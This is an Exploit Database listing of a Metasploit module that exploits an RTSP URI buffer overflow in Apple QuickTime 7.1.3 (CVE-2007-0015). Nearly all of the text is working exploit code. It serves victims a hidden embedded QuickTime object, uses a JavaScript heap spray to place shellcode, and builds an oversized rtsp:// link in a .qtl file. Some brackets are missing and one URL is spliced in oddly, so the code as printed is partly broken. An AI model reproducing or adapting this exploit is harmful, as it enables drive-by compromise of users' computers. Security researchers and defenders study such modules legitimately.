Apple QuickTime 7.1.3 – RTSP URI Buffer Overflow (Metasploit)

Exploit Database
115 阅读

作者： Metasploit

日期： 2010-05-04
类别：
- remote
平台：
- windows
来源：https://www.exploit-db.com/exploits/16527/

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# $Id: apple_quicktime_rtsp.rb 9220 2010-05-04 23:09:32Z jduck $

# This file is part of the Metasploit Framework and may be subject to

# redistribution and commercial restrictions. Please see the Metasploit

# Framework web site for more information on licensing and terms of use.

# http://metasploit.com/framework/

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote

Rank = NormalRanking

include Msf::Exploit::Remote::HttpServer::HTML

include Msf::Exploit::Remote::BrowserAutopwn

autopwn_info({

:os_name=> OperatingSystems::WINDOWS,

:javascript => true,

:rank => NormalRanking, # reliable memory corruption

:vuln_test=> nil,

})

def initialize(info = {})

super(update_info(info,

'Name' => 'Apple QuickTime 7.1.3 RTSP URI Buffer Overflow',

'Description'=> %q{

This module exploits a buffer overflow in Apple QuickTime

7.1.3. This module was inspired by MOAB-01-01-2007.The

Browser target for this module was tested against IE 6 and

Firefox 1.5.0.3 on Windows XP SP0/2; Firefox 3 blacklists the

QuickTime plugin.

'Author' => [ 'MC', 'egypt' ],

'License'=> MSF_LICENSE,

'Version'=> '$Revision: 9220 $',

'References' =>

[

[ 'CVE', '2007-0015' ],

[ 'OSVDB', '31023'],

[ 'BID', '21829' ],

[ 'URL', 'http://projects.info-pull.com/moab/MOAB-01-01-2007.html' ],

'DefaultOptions' =>

{

'EXITFUNC' => 'process',

'Payload'=>

{

'Space'=> 500,

'BadChars' => "\x00\x09\x0a\x0d\x20\x22\x25\x26\x27\x2b\x2f\x3a\x3c\x3e\x3f\x40\x5c",

'Platform' => 'win',

'Targets'=>

[

[ 'Automatic', { } ],

[ 'Apple QuickTime Player 7.1.3',

{

'Ret' => 0x6855d8a2# xpsp2/2k3 :( | vista ;)

}

[ 'Browser Universal',

{

'Ret' => 0x0c0c0c0c # tested on xpsp0 and sp2

}

'Privileged' => false,

'DisclosureDate' => 'Jan 1 2007',

'DefaultTarget'=> 0))

end

def on_request_uri(client, request)

return if ((p = regenerate_payload(client)) == nil)

if (target.name =~ /Automatic/)

if (request['User-Agent'] =~ /QuickTime/i)

target = targets[1]

else

target = targets[2]

end

cruft=rand_text_alphanumeric(4)

# This is all basically filler on the browser target because we can't

# expect the SEH to be in a reliable place across multiple browsers.

# Heap spray ftw.

sploit =rand_text_english(307)

sploit << p.encoded + "\xeb\x06" + rand_text_english(2)

sploit << [target.ret].pack('V') + [0xe8, -485].pack('CV')

if (request['User-Agent'] =~ /QuickTime/i or request.uri =~ /\.qtl$/)

print_status("Sending #{self.name} exploit to #{client.peerhost}:#{client.peerport}...")

print_status("Trying target #{target.name}...")

content = build_qtl(sploit)

else

print_status("Sending #{self.name} init HTML to #{client.peerhost}:#{client.peerport}...")

shellcode = Rex::Text.to_unescape(p.encoded)

url =((datastore['SSL']) ? "https://" : "http://")

url << ((datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(client.peerhost) : datastore['SRVHOST'])

url << ":" + datastore['SRVPORT']

url << get_resource

js = <<-ENDJS

#{js_heap_spray}

sprayHeap(unescape("#{shellcode}"), 0x#{target.ret.to_s 16}, 0x4000);

ENDJS

content ="<html><body><script></script>"

content << <<-ENDEMBED

<OBJECT

CLASSID="clsid:02BF25D5-8C17-4B23-BC80-D3488ABDDC6B"

WIDTH="1"

HEIGHT="1"

CODEBASE="http://www.apple.com/qtactivex/qtplugin.cab">

<EMBED

SRC= "https://www.exploit-db.com/exploits/16527/#{url}/#{cruft}.qtl"

QTSRC= "#{url}/#{cruft}.qtl"

TARGET = "myself"

WIDTH= "1"

HEIGHT = "1"

AUTOPLAY = "true"

PLUGIN = "quicktimeplugin"

TYPE = "video/quicktime"

CACHE= "false"

PLUGINSPAGE= "http://www.apple.com/quicktime/download/" >

</EMBED>

</OBJECT>

ENDEMBED

content << "</body></html>"

end

send_response(client, content, { 'Content-Type' => "text/html" })

# Handle the payload

handler(client)

end

def build_qtl(overflow)

cruft=rand_text_english(4)

content ="<?xml version=\"1.0\"?>\n"

content << "<?quicktime type=\"application/x-quicktime-media-link\"?>\n"

content << "<embed autoplay=\"true\" \n"

content << "moviename=\"#{cruft}\" \n"

content << "qtnext=\"#{cruft}\" \n"

content << "type=\"video/quicktime\" \n"

content << "src=\"rtsp://#{cruft}:#{overflow}\" />\n"

end